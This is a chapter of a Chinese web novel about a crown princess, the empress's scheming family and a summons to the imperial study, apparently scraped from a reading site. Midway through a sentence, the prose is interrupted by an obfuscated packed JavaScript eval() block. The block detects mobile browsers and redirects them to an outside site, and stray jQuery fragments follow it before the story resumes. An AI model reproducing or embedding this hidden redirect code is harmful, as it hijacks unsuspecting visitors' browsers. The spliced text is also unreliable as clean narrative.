21.将功补过

作品:《陛下,我想当皇帝

    待秋绪再度睁眼,窗外已是天光大亮。


    她支肘坐起,懒洋洋地打了个哈欠,长发从肩头滑落,还带着淡淡的蔷薇露的香气。


    顾玉初清晨就赶早朝去了,这会儿床榻上只剩她一个人,显得更宽敞了。


    仍是觉得困倦,秋绪翻了个身继续赖床。


    此时,她躺着他的床榻,枕着他的枕头,拥着他的锦被,心想紫宸殿真乃风水宝地,不仅太子饭好吃,太子床也很好睡,她后来睡得特别安稳,甚至都没察觉到他起床离开的动静。


    迷糊半晌,她才忽觉周身覆盖全是顾玉初的物件儿,他的气息温柔地环绕着她,似有若无,却又无处不在。


    ……嗯,睡得好可能不只是床铺问题。


    那气息霎时勾起夜半时分的回忆,意识渐渐清醒过来,一睁眼便看见那床她原本睡的被子,仍堆在里侧,早就凉透了。


    可恶,睡前千防万防,最终还是滚进顾玉初怀里睡了一宿。


    她的指尖无意识地抚上唇角,回想起那似吻非吻的瞬间,耳尖蓦地红了。


    决不能叫他知晓,必要当场讥讽她孟浪的,这糊涂账权当微风过耳吧,别再想了。


    可是啊啊啊真的亲到了!


    老天鹅,她不小心亲到了顾玉初!


    她吃吃笑一声,突然抓过被子蒙头栽进枕堆,咿咿呀呀地滚来滚去。


    太好笑了,昨晚她还在心惊肉跳,等他这会儿不在了,她才后知后觉地放肆激动起来。


    秋绪在床榻上自顾自地闹腾了好一阵子,寝殿外面候着的兰心听到动静,轻轻敲门问道:“殿下,可是要起身了?”


    被窝里骤然挣脱出个乱蓬蓬的脑袋,睡衣也歪歪斜斜,她偏还要故作镇定,面色肃然地说:“嗯,可以,起床吧。”


    等她胡乱理理长发,赤足踩上脚踏,又忍不住期盼地抬脸问道:“今天早膳可以在紫宸殿吃太子饭吗?”


    “当然了。”兰心忍着笑意道,“太子殿下离开之前就吩咐过的。”


    不错,今天不是狗太子,是好太子。


    看来顾玉初确实记着上回她说紫宸殿的饭食比昭明殿的好吃。


    桌案前,秋绪正唏哩呼噜喝着鸡丝粥,忽然感觉到裙摆被某只毛爪爪按住,她低头一瞧,正好撞上踏雪那琥珀似的眼睛。


    “哇!踏雪宝贝!快来姐姐抱抱!”


    这一声呼唤,踏雪立马轻盈地跃至她怀里,呼噜声加足了马力,甚至还亲昵地蹭蹭她的下巴,娇滴滴地喵了一声。


    踏雪真的是万人迷小猫咪,太会了,只要稍稍一钓,就把她迷得找不着北。


    秋绪抱着踏雪,一边揉搓着一边已经有些套麻袋抢小猫的念头,反正顾玉初整日忙着朝堂大事,早出晚归的,怕是顾不得给踏雪爱的陪伴,而她有的是时间和踏雪培养感情。


    她夹着嗓音轻声细语:“宝贝,姐姐总有一天要把你带回昭明殿哦~等着姐姐~”


    与此同时,一直淅淅沥沥的冷雨竟然都停歇半晌,秋绪嘿嘿一笑,低头亲一口踏雪,看来老天爷也赞同她的想法。


    趁着雨停了,秋绪赶紧回了昭明殿,刚迈过门槛儿,她习惯性看一眼那棵巨大的银杏树。


    经过这些天的暴雨,老树被打掉了很多叶子,漫天漫地地覆盖满院,简直像千百只金黄的蝴蝶跌入泥尘。


    树下的水池也被叶子填得满满当当,甚至连秋千架也披了一层水润的金衣。


    没有准许,宫人们并未打扫落叶,只因太子妃未归,还没看到这一方秋景。


    秋绪果然举着油纸伞,当场愣在原地,看着那宛若梦境的场景,久久无法回神。


    然后她一抓兰心的手道:“快去请画师来,该死的,这世界为什么没有相机,真是断送了我当风光摄影师的梦想。”


    接下来的数日,秋绪过得闲适而充实。


    清晨用罢桃花粥,就着尚且明亮的天色读读旧书,午间伴着雨声小憩,下午就跑来院子里,对着老树铺开画纸。


    ——当不了风光摄影师,那就当风光画家。


    虽说至今连树干树枝的线条都勾不好,但也勉强算是陶冶情操。


    直到这日,她正在进行涂鸦速写,自信满满地把一盘葡萄画成一盘狗粑还怡然自得。


    兰心却来禀,说宫里来了人传口谕:“陛下召太子妃即刻往御书房觐见。”


    秋绪惊得连笔都丢了。


    魏衡帝能找她有什么事儿?她一不参政二没犯法的,偏在徐斐案波澜未平之际召见?莫非是要追究梁氏小动作牵连东宫?还是梁家借题发挥要给她个下马威?


    她胡思乱想着,待兰心为她整理好衣冠,便启程匆匆赶往御书房。


    没料到轿子行至半途中,秋绪竟与梁皇后的凤辇不期而遇,她不敢懈怠,赶紧下轿,趋步向前行了个礼。


    凤辇的帘子被一只手撩起一角,梁皇后半边面容隐在阴影中,淡淡道:“上来。”


    这是要训话了?


    秋绪心头突突地跳,定定神后,上去后乖巧地坐在梁皇后侧边。


    梁皇后的面上看不出表情,只抬眸道:“说吧,你到底同他透露了多少?”


    秋绪:?那可多了去了。


    实不相瞒他现在连你失眠多梦都知道。


    她眼睫轻颤,正欲开口,梁皇后却抬手止住她的话头,语气干脆道:“本宫只听实情。”


    万千思绪在秋绪脑中闪过。


    她忽觉不对。


    自己这受制于人的情况,梁皇后又不是不知道,早该做好信息泄露的设想,怎么这莫名其妙地对她突然发难,怕是还有其他隐情。


    想到此处,秋绪斟酌着开口,按照梁皇后的要求,挑拣着些实话说了。


    “前些日子,辰哥儿来过一趟,臣妾寻了由头婉拒了见面,太子难免会过问几句,不过辰哥儿一直被保护得很好,许多事情并不知晓,即便太子再三追问,怕是也寻摸不到突破口……”


    秋绪心里猛地一跳,恍然大悟般抬眸,“可是书院出了事儿?这是唯一与辰哥儿相关的了。”


    四目相对,她从梁皇后的眼神中得到了肯定的答案。


    秋绪赶忙摇头,澄清道:“母后,书院休沐可并非稀罕事儿,即便臣妾未曾提及,太子知晓也是正常……”


    停顿一下,她疑惑道,“可为什么在这节骨眼儿上,书院会闹出这么大动静来?”


    梁皇后深叹一口气,咬牙切齿道:“蠢!梁振这个蠢货!”


    “那蠢货竟是将银子送去了书院,现下刑部已经将书院围了,他倒好,躲在坊间听戏呢!”


    仅此一句,秋绪豁然开朗。


    梁振正是“她”的二叔,此前在返京途中偶然遇见,那时系统还强行要求秋绪完成任务。秋绪不仅照做,还借机煽动梁振一番。


    果不其然,这人终究是按捺不住,回去后便暗中捣鼓了些小动作。


    近来梁家出事,按兵不动方为上策。


    然而,平安栈被顾玉初一举端掉,此前那笔银子必须即刻妥善消化,方能斩断隐患的尾巴。


    平日里,根本轮不到梁振来做决策。可最近梁国公府上下皆忙于营救梁世子,可算让他逮着这空隙,擅自做主,将这笔银子挪作书院的扩建费用。


    漱玉书院本是上佳之选,运营多年,不仅稳如磐石,还名声响亮,扩建罢了,怎么看都是一桩极为寻常的小事。


    他还自以为行事缜密,滴水不漏。


    可惜,时机不对,这一番操作和送人头没什么区别。


    常言道,不怕蠢人犯蠢,就怕人蠢还勤快。


    秋绪心下了然,这大概就是顾玉初上回所说的那条线索了。


    即便她已心如明镜,却还要在此时故


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544836|168546||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作惊讶道:“怎会是二叔?二叔向来对这些俗务不屑一顾啊。”


    梁皇后烦闷异常,厌蠢症都犯了。她真是不明白,兄妹几人同为父母所生,怎么心智差距堪比天海之别?


    她和大哥明显血脉相连,而这二哥好似吸收了全族的笨蛋基因,倒像是捡来的。


    “你又不是不知道,这些年梁家待他何等仁厚,但烂泥扶不上墙,偏要走捷径,临到头来,还觉得是我们亏钱与他!”


    梁皇后语气不耐,“如今见朝局浊浪翻涌,他倒以为自己能当个弄潮儿了,偏要强出头。”


    秋绪赶紧轻声相劝:“母后既看得这般分明,暂且莫要同他计较了,眼下保书院总比保山长要紧,况且平安栈已经名存实亡……会没事的。”


    依照梁家一贯心狠手辣的作风,这一次的替死鬼大抵应是漱玉书院的山长。


    秋绪瞧梁皇后的神情,要是可以,她肯定非常乐意用傻子二哥换山长,毕竟要栽培出一个死心塌地的人才,谈何容易。


    只可惜,傻子姓梁,甩也甩不脱。


    梁皇后闻言眉尾一扬,打量她道:“你倒是门儿清。”


    秋绪垂首,轻叹道:“前些日子,臣妾去求太子拿药,无意间听到他们谈及总柜已死,这才猜到了几分缘由。”


    她神色怅然,“终究是往日父亲耳提面命教得精细,只是不知,他如今境况究竟如何了……”


    梁皇后揉着额角不欲深谈,向外吩咐道:“起辇罢,一道儿去御书房。”


    一路上,二人闲话家常,多是梁皇后发问,秋绪应答,言辞俱是滴水不漏的周全。


    不过片刻的功夫,她们已至御书房,还未进门,便听得里头笑语喧闹。


    秋绪抬眼一扫,除了魏衡帝与顾玉初,书房里还有其他人。


    三皇子已是旧相识,上次相见还是意气风发模样,如今在刑部连轴转着查舅父的案子,倒显出几分颓唐。


    真正的新面孔当属大皇子夫妇。


    那位以风仪出众闻名京城的大皇子,果然光风霁月,如同谪仙下凡。他身侧的大皇子妃眉目温婉,很有江南女子的韵致,倒是天造地设的一对璧人。


    满室热闹因她们到来而安静了刹那,当然,那热闹和顾玉初也没什么关系,他向来擅长凭一己之力孤立所有人。


    梁皇后扶着秋绪的手,走进书房内,首先开口道:“路上正巧遇见阿绪,便一同过来了,诸位可是等候多时了?”


    魏恒帝端坐宝座,声音温和地嗔怪道:“这话说得,哪次不是等皇后来了才谈正事儿?”


    他这般作态,看似捧得梁皇后尊贵无双,偏生她不过漫不经心一勾唇角,并未搭腔,径自施施然入座。


    秋绪规矩行礼,而后朝着顾玉初的方向走去,不想他竟下意识抬手浅迎,意识到后,又将手放下了。


    然而秋绪步伐未停,只在他身边站定,低垂着眼眸,开启了隐形人大法。


    这细微的举动偏巧被大皇子妃捕捉到,却也只是将目光移开,并未表态。


    待梁皇后仪态端庄地坐定,这才问道:“既传召本宫与孩子们前来,想必陛下有要事相商?”


    魏衡帝并未言语,只一抬下巴,顾玉初立即出列,端端正正地行一礼道:“禀父皇母后,近日各地灾情反复,临阳尤甚,儿臣奏请赴临阳,督办赈济事宜,将功补过。”


    此言一出,秋绪骤然抬眸,只觉有异。


    在原著之中,此时的确水患严重,上回赈灾米被水泡了的事情,就发生在临阳,而皇家确实也委派了皇子,前往灾区,以行安抚慰问之责。


    但她记得,本该是大皇子率礼部众人南下颁抚恤银,沿途收尽民心。


    她知晓这些,是因为看过原著。


    可顾玉初怎会突然抢这差事?


    难道真如他所言,仅仅是为了“将功补过”?